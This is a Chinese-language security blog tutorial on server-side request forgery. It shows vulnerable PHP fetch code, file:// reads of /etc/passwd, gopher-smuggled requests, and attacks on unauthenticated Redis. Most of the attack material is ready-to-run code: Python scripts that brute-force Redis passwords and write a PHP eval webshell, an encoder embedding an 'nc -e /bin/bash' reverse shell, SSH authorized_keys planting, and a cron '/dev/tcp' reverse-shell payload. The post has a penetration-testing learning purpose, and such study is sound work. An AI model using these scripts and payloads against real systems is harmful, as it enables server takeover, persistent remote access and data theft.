freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

ssrf及其相关利用
cmrex 2022-01-26 22:59:18 237296
所属地 北京

一.函数

File_Get_Contents

<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>

Fsockopen()

<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>

Curl_exec()

<?php 
if (isset($_GET['url'])){
$link = $_GET['url'];
$curlobj = curl_init(); // 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
$result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源

// $filename = './curled/'.rand().'.txt';
// file_put_contents($filename, $result);
echo $result;
}
?>

二.协议利用

file,dict,http协议概览

  • file协议:在有回显的情况下,利用 file 协议可以读取任意文件的内容

    ?url=file://../../../../etc/passwd


  • dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等

    ?url=dict://xx.xx.xx.xx:3306/info
    ?url=dict://xx.xx.xx.xx:6379/info

    image-20220125095739879

  • http/s协议:探测内网主机存活

    ?url=http://www.baidu.com
    或者来探测内网存活web主机
  • gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell

    限制:image-20220123164538655

    gopher格式:

    gopher://<host>:<port>/<gopher-path>_后接TCP数据流

    get请求的要点:

    1、问号(?)需要转码为URL编码,也就是%3f
    2、回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
    3、在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)

    注意:

    大部分 PHP 并不会开启 fopen 的 gopher wrapper

    file_get_contents 的 gopher 协议不能 URLencode

    file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败

    PHP 的 curl 默认不 follow 302 跳转

    curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用

    gopher默认端口是70,如果使用请加上端口号(很多人以为是80默认)

ssrf配合gopher利用

准备一个php代码:

<?php
echo "Hello ".$_GET["name"]."\n"
?>

image-20220124094636201

gopher构造get请求

GET /index.php?name=jack HTTP/1.1
Host: 192.168.0.109

转换后

curl gopher://121.43.133.39:80/_GET%20/index.php%3fname=jack%20HTTP/1.1%0d%0aHOST:%20121.43.133.39%0d%0a

image-20220124100619830

gopher构造post请求

post.php

<?php
echo "Hello ".$_POST["name"]."\n"
?>

数据包

POST /ssrf/base/post.php HTTP/1.1
host:192.168.0.109
Content-Type:application/x-www-form-urlencoded
Content-Length:11

name=jack

转换后

curl gopher://121.43.133.39:80/_POST%20/index.php%20HTTP/1.1%0d%0AHost:121.43.133.39%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:11%0d%0A%0d%0Aname=jack%0d%0A

image-20220124101359037

SSRF和gopher命令执行

ssrf页面:index.php

<?php
$url = $_GET['url'];
$curlobj = curl_init($url);
echo curl_exec($curlobj);
?>

#你的PHP版本必须大于等于5.3,并且在PHP.ini文件中开启了extension=php_curl.dll

开启监听:

nc -lvp 8888

访问:

http://127.0.0.1/index.php?url=gopher://127.0.0.1:8888/_abc

image-20220124103527022

创建一个可以命令执行的页面:test.php

<?php
system($_GET['cmd']);
?>

然后我们构造payload:

image-20220124110034965

http://127.0.0.1/index.php?
url=gopher://127.0.0.1:80/_GET /test.php?cmd=mkdir 123 HTTP/1.1
Host: 127.0.0.1

http://127.0.0.1/index.php?
url=gopher%3A%2F%2F127.0.0.1%3A80%2F_GET%2520%2Ftest.php%253fcmd%3Dmkdir%2520123%2520HTTP%2F1.1%250d%250AHost%3A%2520127.0.0.1%250d%250A

创建一个123的文件夹

然后我们去浏览器访问,然后去看是否出现123的文件夹:

image-20220124110125589

确实出现了,成功命令执行

这个时候浏览器会一直加载,但是没关系,已经命令执行了,同理,可以反弹shell下载东西等。

核心原理其实就是利用了gopher的可以进行get和post请求
注意
要进行二次编码
URL中的/不能进行两次编码
端口号不可以两次编码
协议名称不可两次转码

对照表:

编码解码
%3D=
%3A80%2F:80/
%3A%2F%2F://
%2520空格
%253f?
%250d%250A换行
%2F/
编码脚本
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import urllib2,urllib

url = "http://192.168.0.109/ssrf/base/curl_exec.php?url="
header = """gopher://192.168.0.119:8080/_GET /S2-045/ HTTP/1.1
Host:192.168.0.119
Content-Type:"""
cmd = "nc -e /bin/bash 192.168.0.109 6666"
content_type = """自己填写(不要有换行)"""
header_encoder = ""
content_type_encoder = ""
content_type_encoder_2 = ""
url_char = [" "]
nr = "\r\n"

# 编码请求头
for single_char in header:
if single_char in url_char:
header_encoder += urllib.quote(urllib.quote(single_char,'utf-8'),'utf-8')
else:
header_encoder += single_char

header_encoder = header_encoder.replace("\n",urllib.quote(urllib.quote(nr,'utf-8'),'utf-8'))

# 编码content-type,第一次编码
for single_char in content_type:
# 先转为ASCII,在转十六进制即可变为URL编码
content_type_encoder += str(hex(ord(single_char)))
content_type_encoder = content_type_encoder.replace("0x","%") + urllib.quote(nr,'utf-8')
# 编码content-type,第二次编码
for single_char in content_type_encoder:
# 先转为ASCII,在转十六进制即可变为URL编码
content_type_encoder_2 += str(hex(ord(single_char)))
content_type_encoder_2 = content_type_encoder_2.replace("0x","%")
exp = url + header_encoder + content_type_encoder_2
print exp
request = urllib2.Request(exp)
response = urllib2.urlopen(request).read()
print response

# 网上白嫖的


ssrf利用gopher攻击redis

白嫖的项目

https://github.com/firebroo/sec_tools

redis简介

redis如果没有限制什么的,默认开放端口是6379
127.0.0.1:6379
密码为空,是redis未授权
利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

利用条件

redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。

没有设置密码认证(默认为空),可以免密码远程登录redis服务。

redis未授权写入webshell最简单的:

flushall
config set dir /tmp
config set dbfilename shell.php
set 'webshell' '<?php phpinfo();?>'
save
探测

image-20220125100938853

数据包分析
执行命令:
127.0.0.1:6379> auth 123456
OK
127.0.0.1:6379> set ATL Ocean
OK
127.0.0.1:6379> quit

我们发现数据包是这样的:

image-20220125101615192

前四行是自动的

后面几行:

*2      #数组 长度为2
$4 #多行字符串 长度为4
auth #认证
$6 #多行字符串 长度为6
123456 #密码123456
+OK #服务器返回 普通字符串 OK,表示成功
*3 #数组 长度为3
$3 #多行字符串 长度为3
set #设置key
$3 #多行字符串 长度为3
ATL #key为ATL
$5 #多行字符串 长度为5
Ocean #velue为Ocean
+OK #服务器返回 普通字符串 OK,表示成功

这里我们进行url编码:

image-20220125101824038

Url编码后:
*2
$4
auth
$6
123456
*3
$3
set
$4
ATL2
$6
Ocean2

*2%0D%0A%244%0D%0Aauth%0D%0A%246%0D%0A123456%0D%0A*3%0D%0A%243%0D%0Aset%0D%0A%244%0D%0AATL2%0D%0A%246%0D%0AOcean2%0D%0A

在cyberchef里,选择编码所有特殊字符,然后把%0A替换成%0D%0A,然后把%2A替换成*即可
(注意将%0A替换为%0D%0A)
($ -> %24)

利用 curl 和 gopher 协议发送给 Redis 服务器。

curl gopher://121.43.133.39:6379/_*3%0D%0A%243%0D%0Aset%0D%0A%244%0D%0AATL2%0D%0A%246%0D%0AOcean2%0D%0A

//这里我嗯set了一个key

image-20220125103138933

然后我们get一下我们设置的key:

curl gopher://121.43.133.39:6379/_get%20ATL2%0D%0A

image-20220125103453942

爆破密码

白嫖的代码:

# -*- coding: UTF-8 -*-
from urllib.parse import quote
from urllib.request import Request, urlopen

url = "http://121.43.133.39/?url="
gopher = "gopher://121.43.133.39:6379/_"


def get_password():
f = open("password.txt", "r")
return f.readlines()


def encoder_url(cmd):
urlencoder = quote(cmd).replace("%0A", "%0D%0A")
return urlencoder


for password in get_password():
# 攻击脚本
cmd = """
auth %s
quit
""" % password
# 二次编码
encoder = encoder_url(encoder_url(cmd))
# 生成payload
payload = url + gopher + encoder
print(payload)
# 发起请求
request = Request(payload)
response = urlopen(request).read().decode()
print("This time password is:" + password)
print("Get response is:")
print(response)
if response.count("+OK") > 1:
print("find password : " + password)
exit()
print("Password not found!")
print("Please change the dictionary,and try again.")

可以看到成功就是直接显示ok,失败就是wrongpass

image-20220125104140559

写入webshell

继续白嫖代码:

# -*- coding: UTF-8 -*-
from urllib.parse import quote
from urllib.request import Request, urlopen

url = "http://121.43.133.39/?url="
gopher = "gopher://121.43.133.39:6379/_"

def get_password():
f = open("password.txt", "r")
return f.readlines()

def encoder_url(cmd):
urlencoder = quote(cmd).replace("%0A", "%0D%0A")
return urlencoder

###------暴破密码,无密码可删除-------###
for password in get_password():
# 攻击脚本
path = "/tmp"
shell = "\\n\\n\\n<?php eval($_REQUEST['cmd']);?>\\n\\n\\n"
filename = "shell.php"

cmd = """
auth %s
quit
""" % password
# 二次编码
encoder = encoder_url(encoder_url(cmd))
# 生成payload
payload = url + gopher + encoder
# 发起请求
print(payload)
request = Request(payload)
response = urlopen(request).read().decode()
print("This time password is:" + password)
print("Get response is:")
print(response)
if response.count("+OK") > 1:
print("find password : " + password)
#####---------------如无密码,直接从此开始执行---------------#####
cmd = """
auth %s
config set dir %s
config set dbfilename %s
set test1 "%s"
save
quit
""" % (password, path, filename, shell)
# 二次编码
encoder = encoder_url(encoder_url(cmd))
# 生成payload
payload = url + gopher + encoder
# 发起请求
request = Request(payload)
print(payload)
response = urlopen(request).read().decode()
print("response is:" + response)
if response.count("+OK") > 5:
print("Write success!")
exit()
else:
print("Write failed. Please check and try again")
exit()
#####---------------如无密码,到此处结束------------------#####
print("Password not found!")
print("Please change the dictionary,and try again.")

提示成功写入:

image-20220125104537629

我们去服务器看文件

image-20220125104708749

ps:我这里用的是docker,站库分离,所以只能写入redis的容器里,那接下来怎么办?

写入公私钥

ssh-keygen -t rsa

//生成
id_rsa.pub 公钥
id_rsa 私钥

设置写入路径和写入内容,文件名:

path= "/root/.ssh"       #路径

shell= "\\n\\n\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCeKnngW7dxS4BqHWyzJVTFqCL2Nde9WTbMsvGUZP1n7gYzTAIDIpdQJsldgS721jb1J0v4munC8UpvqSVuqO+srvRQgjDLDuPq37fdaC07exHZxtibfbSaN11itPIf0FJ3pVawzKTcIxNHGSv4xWjE79aTNyfNESI4F5ng2izQnIE7SRQt5jDMZJb3Pb8MeRhsTEsa5dSB1WrG+cyl86lLssKoHhZIkDIrBzBJsLKuK1VEVRRlIwiTezyHGw3gvSSkJZ2yjwGUDOrs4XlHyB9zkZTJElijByx7BmJaNZD7JTzRz5qFjB6fVdDGGcoW2OjJN6fOsy2ZvLYz227TcdsJZahVoBGaqNZ4CHtVdFNLKEncpuf3NHAGA+bVRfVwov0Tm8SBC2OPfRePZy5hOqRkuBObx9k8Co+2cgYlNeCcCVggno9HHMpcsqrpaV0LKZyldJbYjFENIZaG2Fo8E+Y8tLL4tB+/ZEn/Sxp+nX9dkgr9owcB3mPpbHE12JuSs= root@kali\\n\\n\\n"

filename= "authorized_keys" #文件名

不用输入,命令执行的:

cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
redis-cli -h 192.168.1.11
192.168.1.11:6379> config set dir /root/.ssh/
192.168.1.11:6379> config get dir
"dir"
"/root/.ssh"
192.168.1.11:6379> config set dbfilename "authorized_keys"
192.168.1.11:6379> save

然后直接:
ssh –i id_rsa root@192.168.1.11
计划任务反弹shell

依旧是按照上述的写入方法,不过内容变成了:

\n\n\n* * * * * bash -i >& /dev/tcp/198.xx.xx.xxx/9999 0>&1\n\n\n
其他注意
  1. 如果redis是root启动的,才会有权限在ssh写入私钥

  2. ubuntu中路径是:

    image-20220126103924182

    centos中路径是:

    另外,我抓取了MDUT(某个数据库命令执行项目)操作的数据

    image-20220126104107956

    一般linux的定时任务就这几个路径:

    /var/spool/cron/
    /var/spool/cron/crontab/
    /var/spool/cron/crontabs/
  3. ubuntu中的cron权限是600:

    image-20220126104333178

    centos中的权限是600:

    image-20220126105251393

  4. 相关漏洞

    Redis 远程代码执行漏洞(CVE-2016-8339)
    Redis 3.2.x < 3.2.4版本存在缓冲区溢出漏洞,可导致任意代码执行。Redis数据结构存储的CONFIG SET命令中client-output-buffer-limit选项处理存在越界写漏洞。构造的CONFIG SET命令可导致越界写,代码执行。

    CVE-2015-8080
    Redis 2.8.x在2.8.24以前和3.0.x 在3.0.6以前版本,lua_struct.c中存在getnum函数整数溢出,允许上下文相关的攻击者许可运行Lua代码(内存损坏和应用程序崩溃)或可能绕过沙盒限制意图通过大量,触发基于栈的缓冲区溢出。

    CVE-2015-4335
    Redis 2.8.1之前版本和3.0.2之前3.x版本中存在安全漏洞。远程攻击者可执行eval命令利用该漏洞执行任意Lua字节码

    CVE-2013-7458
    读取“.rediscli_history”配置文件信息
  5. redis漏洞的相关利用还是比较多的,除了写启动项和webshell,windows和linux又有很多不同,这里笔者后续会更新redis的相关利用以及winodws和linux中的不同。

参考

https://www.freebuf.com/articles/web/263556.html
# 渗透测试 # web安全 # 渗透测试总结 # 渗透测试学习
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 cmrex 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
cmrex LV.3
这家伙太懒了,还未填写个人描述!
  • 7 文章数
  • 15 关注者
域内常用的操作精简版
2022-01-23
AWD总述以及心得总结
2021-08-05
简单讲解如何绕过PHP disable_function
2021-07-13
文章目录